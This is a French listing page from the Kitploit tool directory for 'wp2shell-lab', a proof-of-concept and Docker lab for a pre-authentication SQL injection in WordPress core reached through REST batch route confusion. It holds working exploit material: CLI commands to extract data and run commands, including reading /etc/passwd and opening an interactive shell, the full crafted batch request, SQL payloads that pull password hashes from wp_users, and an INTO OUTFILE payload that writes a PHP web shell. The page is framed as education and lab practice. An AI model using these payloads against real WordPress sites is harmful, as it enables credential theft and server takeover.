Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
wp2shell-lab — PoC pédagogique + laboratoire pour CVE-2026-63030 + CVE-2026-60137 : SQLi avant authentification dans le noyau de WordPress via confusion de routes par lots REST | Kitploit
Outils/GitHubGitHub/47cid/wp2shell-lab
Analyse StatiqueAnalyse des VulnérabilitésAnalyse de CodeExploitationExploitation d'Applications WebCTFTests d'IntrusionApprentissage et ÉducationDéveloppement de Charges UtilesLabs et Pratique
GitHub47cid/wp2shell-lab

wp2shell-lab

14218il y a 1 moisPas encore vérifié

PoC pédagogique + laboratoire pour CVE-2026-63030 + CVE-2026-60137 : SQLi avant authentification dans le noyau de WordPress via confusion de routes par lots REST

Voir le dépôt

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

wp2shell-lab

PoC éducatif et laboratoire pour CVE-2026-63030 + CVE-2026-60137 : injection SQL pré-authentification dans le cœur de WordPress via une confusion de route du batch REST.

Découvert par Adam Kues (Searchlight Cyber / Assetnote). Corrigé dans WordPress 6.9.5 / 7.0.2.

Démarrage rapide

root@kitploit:~
# bring up the vulnerable lab
cd docker && ./setup.sh
cd ..

# detect
python3 -m exploit check http://localhost:8888
python3 -m exploit check http://localhost:8888 --confirm-sqli

# extract data (fast mode, default)
python3 -m exploit extract http://localhost:8888 --preset fingerprint
python3 -m exploit extract http://localhost:8888 --preset users

# extract data (blind mode, for comparison)
python3 -m exploit extract http://localhost:8888 --mode blind --preset fingerprint

# custom SQL query
python3 -m exploit extract http://localhost:8888 --query "SELECT @@version"

# RCE (requires FILE privilege, the lab grants it)
python3 -m exploit rce http://localhost:8888 --cmd "id"
python3 -m exploit rce http://localhost:8888 --cmd "cat /etc/passwd"
python3 -m exploit rce http://localhost:8888 -i   # interactive shell

# proxy through Burp
python3 -m exploit extract http://localhost:8888 --proxy http://127.0.0.1:8080

# tear down
cd docker && ./setup.sh down

Analyse technique

Étape 1 : le endpoint batch n'est pas authentifié

POST /wp-json/batch/v1 regroupe plusieurs appels d'API REST dans une seule requête HTTP. Il ne possède aucun contrôle d'authentification propre. La sécurité est déléguée au callback de permission de chaque sous-requête.

Étape 2 : la désynchronisation

serve_batch_request_v1() construit deux tableaux parallèles :

  • $matches[] suit quel handler doit dispatcher chaque sous-requête
  • $validation[] suit si chaque sous-requête a réussi la validation

Il indexe les deux par le même offset lors du dispatch. Le bug : lorsque le chemin d'une sous-requête échoue à wp_parse_url(), un WP_Error est poussé dans $validation mais pas dans $matches. Cela décale $matches d'un cran, de sorte que chaque sous-requête suivante est dispatchée vers le mauvais handler.

Étape 3 : double imbrication

La désynchronisation est utilisée deux fois.

Batch externe. Une requête /wp/v2/posts portant un batch interne dans son corps est dispatchée sous le handler batch (auto-appel). Elle a été validée comme une requête posts, donc le tableau requests interne n'a jamais été vérifié par rapport au schéma du batch. Cela contourne la liste blanche des méthodes et permet aux sous-requêtes internes d'utiliser GET.

Batch interne. Une requête /wp/v2/categories?author_exclude=<SQLI> est dispatchée sous get_items() des posts. Le schéma des catégories ne définit pas author_exclude, elle passe donc la validation sans modification. Mais get_items() des posts la mappe vers WP_Query::author__not_in, où la valeur est interpolée brute dans le SQL.

Étape 4 : l'injection SQL

Le code vulnérable de WP_Query ne nettoyait author__not_in que lorsqu'il s'agissait déjà d'un tableau :

root@kitploit:~
// PRE-FIX (vulnerable)
if (is_array($query_vars['author__not_in'])) {
    $query_vars['author__not_in'] = array_map('absint', ...);  // sanitize
}
$author__not_in = implode(',', (array) $query_vars['author__not_in']);
$where .= " AND post_author NOT IN ($author__not_in) ";        // raw interpolation

Une valeur de type chaîne contourne entièrement le contrôle is_array(). Le cast (array) l'enveloppe sans la nettoyer.

Étape 5 : ce que vous pouvez en faire

Lire la base de données (tous les sites affectés) :

root@kitploit:~
author_exclude = 0) AND (ASCII(SUBSTRING((SELECT user_pass FROM wp_users LIMIT 1),1,1)) > 80)-- -

Oracle booléen : posts renvoyés = vrai, réponse vide = faux. Recherche binaire par caractère.

Écrire des fichiers (nécessite le privilège MySQL FILE, qui n'est pas celui par défaut de WordPress) :

root@kitploit:~
author_exclude = 0) AND 1=0 UNION SELECT '<?php system($_GET["c"]); ?>' INTO OUTFILE '/path/shell.php'-- -

La désynchronisation du batch

La requête HTTP réelle :

root@kitploit:~
{
  "requests": [
    {"method": "POST", "path": "http://"},
    {"method": "POST", "path": "/wp/v2/posts", "body": {
      "requests": [
        {"method": "POST", "path": "http://"},
        {"method": "POST", "path": "/wp/v2/categories?author_exclude=<SQLI>",
         "body": {"name": "x", "orderby": false}},
        {"method": "GET",  "path": "/wp/v2/posts"}
      ]
    }},
    {"method": "POST", "path": "/batch/v1"}
  ]
}

Comment les tableaux se désalignent :

serve_batch_request_v1() traite les sous-requêtes en deux boucles. La première boucle valide chaque sous-requête et construit $matches[] et $validation[]. La deuxième boucle dispatche chaque sous-requête en utilisant $matches[$i] comme handler. Comme l'erreur de la requête d'amorçage est absente de $matches, la deuxième boucle associe chaque requête au mauvais handler.

root@kitploit:~
POST /?rest_route=/batch/v1  (anonymous, no auth)
|
v
THE REQUEST YOU SEND
+--------------------------------------------------------------+
|                                                              |
|  Loop 1 (validate):                                          |
|    [0] "http://"          -> wp_parse_url fails              |
|    [1] POST /wp/v2/posts  -> match: posts_handler            |
|    [2] POST /batch/v1     -> match: batch_handler            |
|                                                              |
|  $validation:  [ error,  OK(posts),     OK(batch)    ]       |
|  $matches:     [         posts_handler, batch_handler ]      |
|                 ^                                            |
|                 error skipped in $matches                    |
|                                                              |
|  Loop 2 (dispatch):                                          |
|    i=0: error -> skip                                        |
|    i=1: POST /posts  uses $matches[1] = batch_handler        |
|         -> posts body executed as a nested batch             |
|    i=2: POST /batch  uses $matches[2] = out of bounds        |
|                                                              |
+--------------------------------------------------------------+
                          |
                          v
NESTED BATCH (serve_batch_request_v1 calls itself on the body above)
+--------------------------------------------------------------+
|                                                              |
|  Loop 1 (validate):                                          |
|    [0] "http://"            -> wp_parse_url fails            |
|    [1] POST /categories     -> match: categories_handler     |
|    [2] GET  /wp/v2/posts    -> match: posts_handler          |
|                                                              |
|  $validation:  [ error,  OK(cats),         OK(posts)    ]    |
|  $matches:     [         categories_handler, posts_handler ] |
|                                                              |
|  Loop 2 (dispatch):                                          |
|    i=0: error -> skip                                        |
|    i=1: POST /categories uses $matches[1] = posts_handler    |
|         -> categories request handled by posts get_items()   |
|         -> author_exclude not in cats schema, unsanitized    |
|         -> posts maps it to WP_Query::author__not_in         |
|         -> SQL INJECTION                                     |
|                                                              |
+--------------------------------------------------------------+

Extraction rapide via l'oracle par masque binaire X-WP-Total

Les PoC existants utilisent l'extraction booléenne aveugle : 1 bit par requête HTTP, environ 224 requêtes pour un hash de mot de passe. Ce dépôt combine deux techniques pour une extraction ~75x plus rapide.

Oracle X-WP-Total. WordPress ajoute SQL_CALC_FOUND_ROWS aux requêtes de posts et place le compte dans l'en-tête de réponse X-WP-Total. Les lignes UNION sont comptées au niveau SQL, même si PHP les filtre du corps de la réponse. Des UNION conditionnels encodent des bits individuels :

root@kitploit:~
0) AND 1=0
UNION SELECT 1 WHERE (ASCII(SUBSTRING((...),1,1)) & 1) > 0   -- bit 0
UNION SELECT 1 WHERE (ASCII(SUBSTRING((...),1,1)) & 2) > 0   -- bit 1
...                                                            -- bits 2-6
-- -

X-WP-Total = 0 signifie bit à 0, 1 signifie bit à 1. Sept sondes = un caractère ASCII complet.

Batch interne illimité. Le batch externe valide maxItems: 25 via son schéma. La confusion de route contourne cela : le batch interne s'exécute de manière récursive, sans vérification de taille. Les 7 sondes binaires pour plusieurs caractères tiennent dans une seule requête.

16 caractères x 7 bits = 112 sondes par requête. Un hash phpass de 34 caractères en ~3 requêtes au lieu de ~224.

root@kitploit:~
$ python3 -m exploit extract http://target --mode blind --preset fingerprint
[*] using blind boolean oracle (binary search, 1 bit per request)
[+] MySQL version: 8.0.46
[+] Database user: wordpress@%
[+] Database name: wordpress
[*] 198 requests sent

$ python3 -m exploit extract http://target --preset fingerprint
[*] using X-WP-Total bitmask oracle (16 chars/request)
[+] MySQL version: 8.0.46
[+] Database user: wordpress@%
[+] Database name: wordpress
[*] 3 requests sent

Références

  • Publication de WordPress 7.0.2
  • Avis de sécurité Searchlight Cyber
  • GHSA-ff9f-jf42-662q (confusion de route)
  • GHSA-fpp7-x2x2-2mjf (SQLi)
  • Icex0/wp2shell-poc - SQLi aveugle + webshell post-authentification
  • AdnaneKhan/Wp2Shell-RCE - RCE via INTO OUTFILE avec lab Docker
  • sergiointel/wp2shell-poc - PoC minimal basé sur le timing

Mentions légales

Uniquement pour des tests de sécurité autorisés et à des fins éducatives. À utiliser exclusivement contre des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation écrite explicite de test.

Télécharger l’outil